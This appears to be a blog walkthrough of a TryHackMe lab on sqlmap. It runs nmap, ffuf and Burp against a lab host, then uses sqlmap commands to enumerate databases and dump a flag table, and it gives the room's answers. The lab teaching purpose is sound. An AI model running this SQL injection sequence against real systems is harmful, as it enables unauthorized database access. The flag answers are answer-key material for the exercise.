Sitemap

TryHackMe SQLMap Room

3 min readJun 20, 2024

--

Press enter or click to view image in full size

Hello Everyone! In this post, we’ll explore how to leverage sqlmap for automated SQL injection vulnerability scanning. We’ll be following along with a TryHackMe learning module to guide you through the process

Reconnaissance

  • IP target: 10.10.162.245
$ sudo nmap -Pn 10.10.162.245 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 00:39 EDT
Nmap scan report for 10.10.162.245
Host is up (0.35s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 4.56 seconds
  • Open port 80 : http
  • Open web browser: http://10.10.162.245
Press enter or click to view image in full size

Directory Enumeration

$ ffuf -u http://10.10.162.245/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
Press enter or click to view image in full size
  • Go to login page
  • Open Burp Suite and login account admin:admin
Press enter or click to view image in full size
  • Save this information to a file name login.txt

Using SQLMap Tool

$ sqlmap -r login.txt --current-user
[01:11:55] [INFO] retrieved: 'root@localhost'
current user: 'root@localhost'

$ sqlmap -r login.txt -dbs
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test

$ sqlmap -r login.txt -D blood --tables
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+

$ sqlmap -r login.txt -D blood -T flag --columns
Database: blood
Table: flag
[3 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| name | varchar(30) |
| flag | varchar(50) |
| id | int(10) |
+--------+-------------+

$ sqlmap -r login.txt -D blood -T flag --dump
Database: blood
Table: flag
[1 entry]
+----+---------------------+--------+
| id | flag | name |
+----+---------------------+--------+
| 1 | thm{sqlm@p_is_L0ve} | flag |
+----+---------------------+--------+

Answer the questions

1.What is the name of the interesting directory ?

Get Joshua Suksakorn’s stories in your inbox

Join Medium for free to get updates from this writer.

Answer: blood

2.Who is the current db user ?

Answer: root

3.What’s is the final flag ?

Answer: thm{sqlm@p_is_L0ve}

Remember! Hacking is illegle you can not hacking people or company without permission. This blog post is made for educational only. So you can learn and practice by your own place.

--

--

Joshua Suksakorn
Joshua Suksakorn

Written by Joshua Suksakorn

Cybersecurity, Ethical Hacker, Penetration Tester, CTF Player, Content Creator,